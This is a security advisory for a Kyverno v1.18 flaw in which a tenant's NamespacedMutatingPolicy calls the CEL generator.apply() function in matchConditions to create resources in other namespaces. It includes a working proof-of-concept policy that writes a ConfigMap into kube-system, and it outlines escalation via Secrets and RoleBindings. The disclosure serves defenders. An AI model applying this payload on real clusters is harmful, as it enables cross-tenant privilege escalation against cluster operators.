GHSA-79gf-7frw-68m9

## Summary In Kyverno v1.18.1, a tenant who can create a `NamespacedMutatingPolicy` in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL `generator.apply(namespace, resources)` function. ## Details `pkg/cel/libs/context.go:177` declares `GenerateResources(namespace string, dataList []map[string]any)`. The `namespace` argument arrives unvalidated from the CEL expression `generator.apply("<target-namespace>", [...])`. ### Version-Specific Impact **v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):** The nmpol CEL compiler unintentionally exposes the `generator` library to match condition expressions. A namespaced mutating policy can invoke `generator.apply()` in a boolean CEL expression such as `matchConditions`, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges. NamespacedGeneratingPolicy is **not** a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional). ### Root Cause The admission validator for `NamespacedMutatingPolicy` (`pkg/cel/policies/mpol/validate.go`) only checks that the policy compiles and does not enforce namespace scope on `generator.apply()` arguments. Compare correctly-guarded equivalents: `pkg/engine/context/loaders/configmap.go:102` rejects cross-namespace ConfigMap references for namespaced policies, and `pkg/engine/apicall/apicall.go:73-82` enforces namespace segment matching. `GenerateResources` has neither guard. ## Proof of Concept Prerequisites: namespace `tenant-ns` exists; attacker has `create` on `namespacedmutatingpolicies.policies.kyverno.io` in `tenant-ns`. ```yaml apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedMutatingPolicy metadata: name: cross-ns-escalate namespace: tenant-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] resources: ["configmaps"] operations: ["CREATE"] mutations: - patchType: applyConfiguration applyConfiguration: expression: object matchConditions: - name: trigger-escalation expression: | generator.apply("kube-system", [ { "apiVersion": dyn("v1"), "kind": dyn("ConfigMap"), "metadata": dyn({ "name": "kube-system-config", "namespace": "kube-system" }), "data": dyn({ "injected-by": "tenant-policy", "impact": "unauthorized access to kube-system namespace" }) } ]) ``` Apply the policy, then create any ConfigMap in `tenant-ns` to trigger the admission webhook. The admission controller creates `configmap/kube-system-config` in `kube-system`. By default, the admission controller has `create` on ConfigMaps in all namespaces. ## Impact A namespace-scoped user with `create` on `NamespacedMutatingPolicy` in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows: Injecting sensitive configuration into protected namespaces (e.g., `kube-system`, `default`) Disrupting cluster networking via NetworkPolicies Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles) Privilege escalation via RoleBinding creation in other namespaces Any installation that grants non-admin users access to `NamespacedMutatingPolicy` creation is affected. ## Timeline * 2026-05-20: Vulnerability reproduced on main * 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published * 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy) ## Advisory Update This advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.